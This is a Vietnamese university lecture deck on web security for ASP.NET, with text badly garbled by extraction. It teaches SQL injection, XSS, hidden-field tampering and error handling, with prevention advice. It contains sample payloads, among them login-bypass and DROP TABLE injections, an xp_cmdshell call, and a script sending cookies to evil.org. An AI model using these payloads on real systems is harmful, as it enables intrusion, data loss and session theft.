1. Trang chủ
  2. » Giáo án - Bài giảng

Bài 11: Thiết kê và lập trình web với ASP.NET - Web Sercurity

14 393 1

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 14
Dung lượng 1,85 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Trang 1

Thi t k & L p trình Web 2

Bài 11

Web Security

Ths Tr n Th Bích H nh

Khoa CNTT

© 2009 Khoa Công ngh thông tin

N i

N i dungdung

N i

N i dungdung

 M t s khái ni m v B o m t

 M t s l h ng b o m t Web & cách phòng tránh

 Các Công c h tr ki m tra b o m t Web

© 2009 Khoa CNTT - HKHTN

2

Thi t k & L p trình Web 2 – Bài 11: Web Security

N i

N i dungdung

N i

N i dungdung

 M t s khái ni m v B o m t

 M t s l h ng b o m t Web & cách phòng tránh

 Các Công c h tr ki m tra b o m t Web

Thi t k & L p trình Web 2 – Bài 11: Web Security

Threats & Vulnerability

Threats

– Hành đ ng ho c s ki n gây h i đ n h th ng

Vulnerability

– L h ng ho c đi m y u c a h th ng mà t đó cho phép

ng i khác xâm nh p vào h th ng

Trang 2

Malicious Software

Virus

– Các ch ng trình có kh n ng t nhân b n và lây nhi m vào

các t p tin trên máy tính

– Khi ng i dùng th c thi m t t p tin b nhi m virus s kích

– Khi ng i dùng th c thi m t t p tin b nhi m virus s kích

ho t virus ho t đ ng

Trojan j

– Ch ng trình thu th p thông tin d li u t máy tính

– Các ch ng trình có kh n ng nhân b n t máy tính này

sang máy tính khác nh m m c tiêu chi m th i gian x lý CPU

à th i i đ ó hú

© 2009 Khoa CNTT - HKHTN

và th i gian đ xóa chúng

5

B o

B o vv ngng d ngd ng

B o

B o vv ngng d ngd ng

 S d ng Firewall

 S d ng Ch ng trình Anti-virus

 S d ng Ch ng trình Anti-spyware

© 2009 Khoa CNTT - HKHTN

6

Thi t k & L p trình Web 2 – Bài 11: Web Security

Password Cracking

Ph ng pháp l u m t kh u

– Không mã hóa

– Mã hóa 2 chi u

M hó 1 hi

– Mã hóa 1 chi u

Password cracking

– Brute force attack

– Dictionary attack

Thi t k & L p trình Web 2 – Bài 11: Web Security

Không Không mãmã hóahóa m tm t kh ukh u Không

Không mãmã hóahóa m tm t kh ukh u

Trang 3

Mã hóahóa 22 chi uchi u

Mã hóahóa 2 2 chi uchi u

© 2009 Khoa CNTT - HKHTN

9

Mã hóahóa 11 chi uchi u Mã

Mã hóahóa 1 1 chi uchi u

© 2009 Khoa CNTT - HKHTN

10

Thi t k & L p trình Web 2 – Bài 11: Web Security

Password Cracking

Thi t k & L p trình Web 2 – Bài 11: Web Security

Password Cracking ( Password Cracking (tt tt)) Password Cracking ( Password Cracking (tt tt))

Brute force attack

– Mã hóa hàng ngàn passwords có s n b ng hàm hash – So sánh k t qu v i d li u hash trong database

Dictionary attack

– L u danh sách các username & password thông d ng – Dùng các thông tin này đ th đ ng nh p h th ng

Trang 4

B o

B o vv m tm t kh ukh u

B o

B o vv m tm t kh ukh u

Gi i h n s l n đ ng nh p th t b i

S d ng m t kh u m nh (strong password)

– Chi u dài t i thi u

– Không s Không s d ng các t d ng các t trong t trong t đi n dãy ký t liên ti p đi n, dãy ký t liên ti p

– K t h p ch cái, kí t s , kí t đ c bi t

Ch ng th c ng i dùng khi đ i & reset m t kh u

– Khi thay đ i m t kh u, nên ch ng th c l i ng i dùng: m t kh u c ,

tài kho n ng i dùng…

Khi nh n đ c yêu c u reset m t kh u c ng nên xác nh n l i yêu

– Khi nh n đ c yêu c u reset m t kh u, c ng nên xác nh n l i yêu

c u reset

S d ng các giao th c đáng tin c y khi x lý m t kh u

© 2009 Khoa CNTT - HKHTN

13

E E mail Attacks mail Attacks E

E mail Attacks mail Attacks

E-mail Bombing

– G i cùng m t email nhi u l n đ n m t user – M c tiêu chi m đ ng truy n và x lý c a mail server

E-mail Spamming

– G i email đ n nhi u user – Th ng s d ng mailing list

© 2009 Khoa CNTT - HKHTN

14

Thi t k & L p trình Web 2 – Bài 11: Web Security

B o

B o vv EmailEmail

B o

B o vv EmailEmail

 Không hi n th đ a ch email trên web

<a href= mailto:yourmail@gmail.com >Gui mail</a>

 S d ng hình nh ho c ký t đ t bi t đ thay th

Ttbhanh at fit dot hcmuns dot edu dot vn

 Thi t l p rule cho mailing list ch nh n email t mail n i b

 S d ng CAPCHA đ phòng nh p li u t đ ng…

Thi t k & L p trình Web 2 – Bài 11: Web Security

Denial Denial of of Service ( Service (DoS DoS) Attacks ) Attacks Denial

Denial of of Service ( Service (DoS DoS) Attacks ) Attacks

 G i liên ti p nhi u yêu c u đ n server

 M c tiêu

– Chi m đ ng truy n m ng – Ch n k t n i gi a hai máy tính – Làm cho server không có kh n ng ph c v client

Trang 5

DoS AttacksAttacks

DoS

DoS AttacksAttacks

© 2009 Khoa CNTT - HKHTN

17

N i

N i dungdung

N i

N i dungdung

 M t s khái ni m v B o m t

 M t s l h ng b o m t Web & cách phòng tránh

 Các Công c h tr ki m tra b o m t Web

© 2009 Khoa CNTT - HKHTN

18

Thi t k & L p trình Web 2 – Bài 11: Web Security

M t

M t ss ll h ngh ng b ob o m tm t Web &Web & cáchcách phòngphòng tránhtránh

M t

M t ss ll h ngh ng b ob o m tm t Web & Web & cáchcách phòngphòng tránhtránh

 SQL Injection

 XSS (Cross-Site Scripting)

 Hidden Field Vulnerability

 Failing to Handle Error

Thi t k & L p trình Web 2 – Bài 11: Web Security

M t

M t ss ll h ngh ng b ob o m tm t Web &Web & cáchcách phòngphòng tránhtránh

M t

M t ss ll h ngh ng b ob o m tm t Web & Web & cáchcách phòngphòng tránhtránh

 SQL Injection

 XSS (Cross-Site Scripting)

 Hidden Field Vulnerability

 Failing to Handle Error

Trang 6

SQL Injection

M t k thu t cho phép nh ng k t n công l i

SQL Injection

d ng l h ng trong vi c ki m tra d li u nh p

trong các ng d ng web và các thông báo l i c a

h qu n tr c s d li uđ đ a vào vàthi hành

h qu n tr c s d li uđ đ a vào vàthi hành

các câu l nh SQL b t h p pháp

© 2009 Khoa CNTT - HKHTN

21

Các Các d ngd ng t nt n côngcông SQL InjectionSQL Injection Các

Các d ngd ng t nt n côngcông SQL InjectionSQL Injection

 V t qua ki m tra lúc đ ng nh p (authorization bypass)

 L y d li u

 Thay đ i d li u

 G i th c thi ch ng trình khác

© 2009 Khoa CNTT - HKHTN

22

Thi t k & L p trình Web 2 – Bài 11: Web Security

V t Ki mKi m tratra lúclúcđ ngđ ng nh pnh p

V t Ki mKi m tratra lúclúcđ ngđ ng nh pnh p

 Câu SQL th ng dùng trong đ ng nh p:

strSQL = "SELECT * FROM Users "

Thi t k & L p trình Web 2 – Bài 11: Web Security

V t Ki mKi m tratra lúclúc đ ngđ ng nh pnh p ((tttt))

V t Ki mKi m tratra lúclúc đ ngđ ng nh pnh p ((tttt))

 v t qua, ng i dùng nh p:

strUsername: ' or '' = '

strPassword: ' or '' = '

 Câu SQL lúc này:

SELECT * FROM Users

Câu SQL này luôn đúng, và tr v t t c thông tin trong b ng Users Câu SQL này luôn đúng, và tr v t t c thông tin trong b ng Users

Trang 7

L y

L y dd li uli u SS d ngd ng câucâu SelectSelect

 Xem chi ti t 1 b n tin

L y

L y dd li uli u SS d ngd ng câucâu Select Select

– http://www.myhost.com/shownews.aspx?ID= 123

– Code x lý

string ID = Request.QueryString[“ID"];

string strSQL = "select * from News

where NewsID=" + ID ; where NewsID + ID ;

 N u ng i dùng thay ch 123b ng chu i0 or 1=1

 Khi đó câu l nh SQL:

– select * from News where NewsID=0 or 1=1

© 2009 Khoa CNTT - HKHTN

K t qu là s hi n t t c tin t c

25

L y

L y dd li uli u SS d ngd ng câucâu Select & UnionSelect & Union

L y

L y dd li uli u SS d ngd ng câucâu Select & UnionSelect & Union

 M t s ví d khác

OtherTable WHERE ' '='

n u h th ng báo l i v cú pháp d ng: Invalid object name

“OtherTable”; ta có th bi t ch c là h th ng đã th c hi n câu SELECT

sau t khóa UNION

xtype = 'U'

Li t kê tên t t c các b ng d li u

© 2009 Khoa CNTT - HKHTN

26

Thi t k & L p trình Web 2 – Bài 11: Web Security

Thay đ iđ i dd li uli u SS d ngd ng câucâu l nhl nh InsertInsert

Thay đ iđ i dd li uli u SS d ngd ng câucâu l nhl nh InsertInsert

 Câu l nh dùng:

string strSQL = "INSERT INTO TableName "

+ "VALUES('" + strValue1 + "','" + strValue2 + "','“

t V l 3 "')"

+ strValue3 + "')"

 N u ng i dùng nh p tr ng th nh t (strValue1)

' (SELECT TOP 1 Fi ldN FROM T bl N ) '

'+(SELECT TOP 1 FieldName FROM TableName)+'

 Khi đó câu l nh SQL:

INSERT INTO T bl N VALUES(' ' + ( SELECT TOP 1

INSERT INTO TableName VALUES(' ' + ( SELECT TOP 1

FieldName FROM TableName ) + ' ', 'abc', 'def')

Ngoài l nh Insert, thì câu l nh này còn th c hi n l nh Select

Ngoài l nh Insert, thì câu l nh này còn th c hi n l nh Select

Thi t k & L p trình Web 2 – Bài 11: Web Security

Thayđ iđ i dd li uli u –– SS d ngd ng câucâu l nhl nh Update & DropUpdate & Drop Thayđ iđ i dd li uli u –– SS d ngd ng câucâu l nhl nh Update & DropUpdate & Drop

; DROP TABLE <Tên Table>

Xóa b ng d li u

; UPDATE USERS SET EMAIL=‘your email’ WHERE username=‘admin’

T o đ a ch email m i sau đó s d ng ch c n ng password recovery

‘ UNION UPDATE USERS SET PASSWORD=‘your pass’ WHERE username=‘admin’

Thi t l p m t kh u m i p

Trang 8

G i

 Th c thi v i quy n qu n tr h th ng ‘sa’

G i

– '; EXEC xp_cmdshell 'cmd.exe dir C:'

Th c hi n l nh li t kê th m c trên đ a C:\ cài đ t server

 Vi c phá ho i ki u nào tu thu c vào câu l nh p đ ng sau g

cmd.exe.

© 2009 Khoa CNTT - HKHTN

29

Cách phòng tránh Cách phòng tránh

 Ki m soát ch t ch d li u nh p vào

– Vi t hàm l c các ký t đ c bi t trong chu i nh p vào – Vd: " ", "'", ";", " ", "xp_", "select",

"drop", "insert", "delete" drop , insert , delete

Thi t l hì h t à h h t d li

 Thi t l p c u hình an toàn cho h qu n tr c s d li u

– Gi i h n quy n x lí d li u đ n tài kho n ng i dùng Tránh dùng đ n các quy n nh dbo hay sa

– Tránh dùng đ n các quy n nh dbo hay sa.

© 2009 Khoa CNTT - HKHTN

Thi t k & L p trình Web 2 – Bài 11: Web Security

M t

M t ss ll h ngh ng b ob o m tm t Web &Web & cáchcách phòngphòng tránhtránh

M t

M t ss ll h ngh ng b ob o m tm t Web & Web & cáchcách phòngphòng tránhtránh

 SQL Injection

 XSS (Cross-Site Scripting)

 Hidden Field Vulnerability

 Failing to Handle Error

Thi t k & L p trình Web 2 – Bài 11: Web Security

XSS (Cross XSS (Cross Site Scripting)Site Scripting) XSS (Cross

XSS (Cross Site Scripting)Site Scripting)

 M t k thu t cho phép nh ng k t n công l i d ngl h ng

web và các thông báo l i nh mchèn nh ng đo n mã script nguy hi m có th gây nguy h i cho nh ng

Trang 9

Phát hi n l h ng XSS

1 Vào website c n ki m tra

2 nh v các form nh p li u:

search, login form,

querystring

querystring…

3 Nh p ho c chèn đo n script

vào form nh p li u ho c

trên đ ng d n url &

submit Ví d

<script>alert(‘XSS’);</script>

4 N u th y c a s alert xu t

hi n thì website có l h ng

© 2009 Khoa CNTT - HKHTN

hi n thì website có l h ng

XSS

33

Ref: http://ha.ckers.org/xss.html

Phát Phát hi nhi n ll h ngh ng XSSXSS –– VíVí dd Phát

Phát hi nhi n ll h ngh ng XSS XSS –– VíVí dd

© 2009 Khoa CNTT - HKHTN

34

Thi t k & L p trình Web 2 – Bài 11: Web Security

T n

T n côngcông XSSXSS

T n

T n côngcông XSSXSS

Thi t k & L p trình Web 2 – Bài 11: Web Security

T n

T n côngcông XSSXSS –– VíVí dd

T n

T n côngcông XSS XSS –– VíVí dd

<script>

i=new Image();

i.src="http://www.evil.org/getcookie.aspx?cookie=" +

escape(document.cookie);

Trang 10

Cách phòngphòng tránhtránh

Cách

Cách phòngphòng tránhtránh

Ki m tra d li u nh p t ng i dùng

– Ch ch p nh n nh ng d li u h p l

– L c các ký t đ c bi t

– Phát hi n các th script

Mã hoá (encoding) các kí t đ c bi t tr c khi in ra website

nh m ng n ch n website t th c thi các script không mong

mu n

© 2009 Khoa CNTT - HKHTN

37

M t

M t ss ll h ngh ng b ob o m tm t Web &Web & cáchcách phòngphòng tránhtránh

M t

M t ss ll h ngh ng b ob o m tm t Web & Web & cáchcách phòngphòng tránhtránh

 SQL Injection

 XSS (Cross-Site Scripting)

 Hidden Field Vulnerability

 Failing to Handle Error

© 2009 Khoa CNTT - HKHTN

38

Thi t k & L p trình Web 2 – Bài 11: Web Security

Hidden Field Vulnerability

 Là thông tin n trong trang web, đ c th hi n d i th

<input type=“hidden” value=“xyz” />

 Không hi n th lên trình duy t

 Có th xem đ c v i ch c n ng View Source

Thi t k & L p trình Web 2 – Bài 11: Web Security

Hidden Field Vulnerability Hidden Field Vulnerability –– VíVí dd Hidden Field Vulnerability

Hidden Field Vulnerability –– VíVí dd

< form id=" frmThanhToan " name=" frmThanhToan" method=“POST" action="thanhtoan.php ">

<p>S l ng s n ph m c n mua:

< input name=" sosanpham " type=" text " id=" sosanpham " size=" 10 " />

(s n ph m)

</p>

<p>Mã s th tín d ng

< input name=" masothe " type=" text " id=" masothe " size=" 20 " />

< input input name=" name thanhtoan thanhtoan " type=" type submit submit " id=" id thanhtoan thanhtoan " value=" value ok ok " /> /

</p>

Trang 11

Mô hìnhhình xx lý

Mô hìnhhình xx lý

// thanhtoan.php

if ($ REQUEST [" h h "] " k")

if ($_ REQUEST ["thanhtoan"]=="ok")

{

$tongtien=$_ REQUEST ["gia"] * $_ REQUEST ["sosanpham"];

printf ("T ng giá ti n: %d VND" $tongtien);

© 2009 Khoa CNTT - HKHTN

41

printf ("T ng giá ti n: %d VND", $tongtien);

}

T n

T n côngcông

T n

T n côngcông

Wget - -post-data “gia=1000&thanhtoan=ok&sosanpham=1”

h //l lh /S i / h h h

© 2009 Khoa CNTT - HKHTN

42

http://localhost/Security/thanhtoan.php

Thi t k & L p trình Web 2 – Bài 11: Web Security

Cách

Cách phòngphòng tránhtránh

Cách

Cách phòngphòng tránhtránh

 Mã hóa d li u l u trong Hidden Fields

 Không l u các d li u nh y c m trong Hidden Fields

Thi t k & L p trình Web 2 – Bài 11: Web Security

M t

M t ss ll h ngh ng b ob o m tm t Web &Web & cáchcách phòngphòng tránhtránh

M t

M t ss ll h ngh ng b ob o m tm t Web & Web & cáchcách phòngphòng tránhtránh

 SQL Injection

 XSS (Cross-Site Scripting)

 Hidden Field Vulnerability

 Failing to Handle Error

Trang 12

Failing to Handle Error

 H th ng không t x lý l i và đ các thông báo l i chi ti t

hi n th nh ng thông tin quan tr ng giúp k t n công xâm

nh p h th ng

© 2009 Khoa CNTT - HKHTN

45

Failing to Handle Error Failing to Handle Error –– VíVí dd Failing to Handle Error

Failing to Handle Error –– VíVí dd

© 2009 Khoa CNTT - HKHTN

46

Thi t k & L p trình Web 2 – Bài 11: Web Security

Failing to Handle Error

Failing to Handle Error –– VíVí dd

Failing to Handle Error

Failing to Handle Error –– VíVí dd

Thi t k & L p trình Web 2 – Bài 11: Web Security

Cách Cách phòngphòng tránhtránh Cách

Cách phòngphòng tránhtránh

 B t & X lý l i

try {

… } catch (Exception ex) {

… }

T hi th t thô bá l i C hì h W b C fi

 T hi n th trang thông báo l i – C u hình Web.Config

<customErrors mode="On" defaultRedirect="ErrorPage.htm">

<error statusCode="404" redirect="NotFound htm" />

<error statusCode 404 redirect NotFound.htm />

<error statusCode="500" redirect=“ServerError.htm" />

</customErrors>

 http://en.wikipedia.org/wiki/List_of_HTTP_status_codes

Trang 13

N i

N i dungdung

N i

N i dungdung

 M t s khái ni m v B o m t

 M t s l h ng b o m t Web & cách phòng tránh

 Các Công c h tr ki m tra b o m t Web

© 2009 Khoa CNTT - HKHTN

49

Các Các côngcông cc hh trtr ki mki m tratra b ob o m tm t WebWeb Các

Các côngcông cc hh trtr ki mki m tratra b ob o m tm t WebWeb

Nikto

– Open Source ( GPL ) web server scanner

Paros Proxy

– Cho phép xem/s a HTTP/HTTPS messages on-the-fly đ thay đ i cookies, form fields,…

A ti WVS

Acunetix WVS

– Commercial Web Vulnerability Scanner

© 2009 Khoa CNTT - HKHTN

 Ref: http://sectools.org/web-scanners.html

50

Thi t k & L p trình Web 2 – Bài 11: Web Security

Công c h tr ki m tra b o m t

Web Vulnerability Scanner y

- Quét l i

- Quét c ng

- Scan c u trúc Website

- Ki m tra m c đ b o m t website

- Download: www.acunetix.com

Thi t k & L p trình Web 2 – Bài 11: Web Security

Ngày đăng: 09/05/2014, 14:41

TỪ KHÓA LIÊN QUAN